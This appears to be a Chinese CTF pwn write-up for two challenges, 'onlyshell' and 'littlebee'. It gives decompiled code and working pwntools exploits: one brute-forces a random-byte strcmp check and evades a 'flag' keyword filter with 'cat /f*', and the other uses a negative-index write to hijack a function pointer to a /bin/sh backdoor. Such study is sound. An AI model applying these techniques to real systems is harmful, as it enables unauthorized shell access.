平凡挂壁路人一枚

公告

随缘更新不定内容，敬请期待！！！

Learn More

1031 words

5 minutes

2026第一周wp2

2026-09-09

wp

pwn

/

wp

onlyshell#

checksec

1
 Arch:       amd64-64-little
2
    RELRO:      Full RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        PIE enabled
6
    FORTIFY:    Enabled
7
    SHSTK:      Enabled
8
    IBT:        Enabled

说明是随机地址

再看main逻辑

1
__int64 __fastcall main(int a1, char **a2, char **a3)
2
{
3
  int v3; // eax
4
  __int64 v4; // rax
5
  int v6; // [rsp+4h] [rbp-144h] BYREF
6
  char s2[4]; // [rsp+Bh] [rbp-13Dh] BYREF
7
  char v8; // [rsp+Fh] [rbp-139h]
8
  char s1[4]; // [rsp+10h] [rbp-138h] BYREF
9
  char v10; // [rsp+14h] [rbp-134h]
10
  unsigned __int64 v11; // [rsp+118h] [rbp-30h]
11

12
  v11 = __readfsqword(0x28u);
13
  setbuf(stdin, 0);
14
  setbuf(stdout, 0);
15
  alarm(0x78u);
16
  v8 = 0;
17
  *(_DWORD *)s2 = arc4random();                 // 造了一个随机数
18
  v6 = 0;
19
  *(_DWORD *)s1 = 0;
20
  v10 = 0;
21
  __printf_chk(2, "password: ");
22
  if ( (unsigned int)__isoc23_scanf("%u", &v6) != 1 )// 强制要求用户输入一个有效的无符号整数
23
LABEL_14:
24
    exit(0);
25
  do
26
    v3 = getc(stdin);
27
  while ( v3 != -1 && v3 != 10 );
28
  *(_DWORD *)s1 = v6;
29
  if ( strcmp(s1, s2) )
30
  {
31
    puts("wrong");
32
    goto LABEL_14;
33
  }
34
  puts("only shell builtins here.");
35
  while ( 1 )
36
  {
37
    __printf_chk(2, "$ ");
38
    if ( !fgets(s1, 256, stdin) )
39
      break;
40
    s1[strcspn(s1, "\n")] = 0;                  // 计算字符串中从起始位置开始连续不包含指定字符集合的子串长度。
41
    if ( s1[0] )
42
    {
43
      if ( strpbrk(s1, "`\\(){}") )             // 检索
44
      {
45
        puts("bad char");
46
      }
47
      else if ( strstr(s1, "flag") )
48
      {
49
        puts("bad word");
50
      }
51
      else
52
      {
53
        LODWORD(v4) = fork();
54
        if ( !(_DWORD)v4 )
55
        {
56
          execl("/bin/bash", "bash", "--noprofile", "--norc", "-c", s1, 0, v4);
57
          _exit(1);
58
        }
59
        wait(0);
60
      }
61
    }
62
  }
63
  return 0;
64
}

程序将 arc4random() 的 4 字节写入 char s[4]，然后与用户输入的字符串 strcmp 比较。若用户输入 "0"（即字符串首字节 '\0'），当随机数的第一个字节恰好为 0 时，两个空字符串相等，验证通过。概率为 1/256，可通过多次连接暴力尝试。

可以看出我们需要暴力枚举到随机数爆0来度过第一轮检查，然后还要经过badword筛查才能拿到flag

那我用

1
cat /f*

我的exp

1
from pwn import *
2
import time
3
context.log_level = 'error'
4

5
def try_once():
6
    try:
7
        p = process('./pwn')
8
        p.recvuntil(b'password: ')
9
        p.sendline(b'0')
10
        resp = p.recvline(timeout=3)
11
        if b'wrong' in resp or b'incorrect' in resp:
12
            p.close()
13
            return None
14
        else:
15
            return p
16
    except:
17
        return None
18

19
for i in range(1, 1001):
20
    p = try_once()
21
    if p:
22
        p.sendline(b'cat /f*')
23
        try:
24
            out = p.recvall(timeout=3).decode(errors='ignore')
25
            print(out)
26
        except:
27
            pass
28
        p.close()
29
        break
30
else:
31
    print('失败')

littlebee#

checksec

1
    Arch:       amd64-64-little
2
    RELRO:      Full RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        PIE enabled
6
    FORTIFY:    Enabled
7
    SHSTK:      Enabled
8
    IBT:        Enabled

看main函数逻辑

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  __int64 index; // rax
4
  void (*v5)(void); // [rsp+0h] [rbp-50h] BYREF
5
  _QWORD v6[8]; // [rsp+8h] [rbp-48h]
6
  __int64 v7; // [rsp+48h] [rbp-8h]
7

8
  v5 = (void (*)(void))ordinary_bell;
9
  v6[0] = 7312845;
10
  v6[1] = 7312846;
11
  v6[2] = 7312847;
12
  v6[3] = 7312848;
13
  v6[4] = 7312849;
14
  v6[5] = 7312850;
15
  v6[6] = 7312851;
16
  v6[7] = 7312852;
17
  initialise(argc, argv, envp);
18
  while ( 1 )
19
  {
20
    show_menu();
21
    index = read_index();
22
    if ( index == 4 )
23
      return 0;
24
    if ( index > 4 )
25
      goto LABEL_14;
26
    switch ( index )
27
    {
28
      case 3LL:
29
        v5();
30
        break;
31
      case 1LL:
32
        show_records(&v5);
33
        break;
34
      case 2LL:
35
        printf("Which shelf slot should be updated? ");// 哪个货架插槽应该更新？
36
        v7 = read_index();
37
        if ( v7 <= 7 )
38
        {
39
          printf("What pickup code should be written there? ");// 那里应该写什么收货代码？
40
          v6[v7] = read_pickup_code();
41
          puts("The clerk writes it down.");    // 店员把它写下来。
42
        }
43
        else
44
        {
45
          puts("That slot is not on the shelf map.");// 那个位置不在货架地图上。
46
        }
47
        break;
48
      default:
49
LABEL_14:
50
        puts("The desk does not understand that request.");// 桌子不明白这个要求。
51
        break;
52
    }
53
  }
54
}

注意看栈分布，rbp-8到rbp-48为v6，rbp-50为*v5(指针)，且v6[v7] = read_pickup_code();

shift+F12看到有一个bin不过是.rodata上的，按X查看另外一个调用

1
int staff_room()
2
{
3
  char *argv[2]; // [rsp+0h] [rbp-10h] BYREF
4

5
  argv[0] = "/bin/sh";
6
  argv[1] = 0;
7
  return execve("/bin/sh", argv, 0);
8
}

也就是后门

现在来看功能

打印v5地址(PIE的问题解决了)
选择一个数组成员改变他的值
执行v5
退出

而且功能二并没有限制v7往前面写(rbp-48到rbp-50正好是2*4=8)

所以说让指针指向后门函数他会直接执行后门函数

ok，下面是攻击思路

一次是输入1让他打印地址，然后再利用算好的地址输入2再改变v6[-1]来改变他的值，最后在执行3就可以跑到后门函数

exp

1
from pwn import *
2

3
context.arch = 'amd64'
4
context.log_level = 'info'
5

6
# p = remote('127.0.0.1', 57430)
7
p = process('./little-bee')
8

9
ORDINARY_BELL = 0x138E
10
STAFF_ROOM    = 0x13A8
11

12
menu = p.recv(timeout=1)
13
log.info(f'menu: {menu!r}')
14

15
p.sendline(b'1')
16
line = p.recvline()
17
leak = int(line.split(b': ')[1].strip(), 16)
18
log.info(f'ordinary_bell = {hex(leak)}')
19

20
staff_room = leak - ORDINARY_BELL + STAFF_ROOM
21
log.info(f'staff_room   = {hex(staff_room)}')
22

23
def update(idx, code):
24
    p.sendline(b'2')
25
    p.recvuntil(b'updated? ')
26
    p.sendline(str(idx).encode())
27
    p.recvuntil(b'there? ')
28
    p.sendline(hex(code).encode())
29

30
update(-1, staff_room)
31
p.sendline(b'3')
32

33
p.interactive()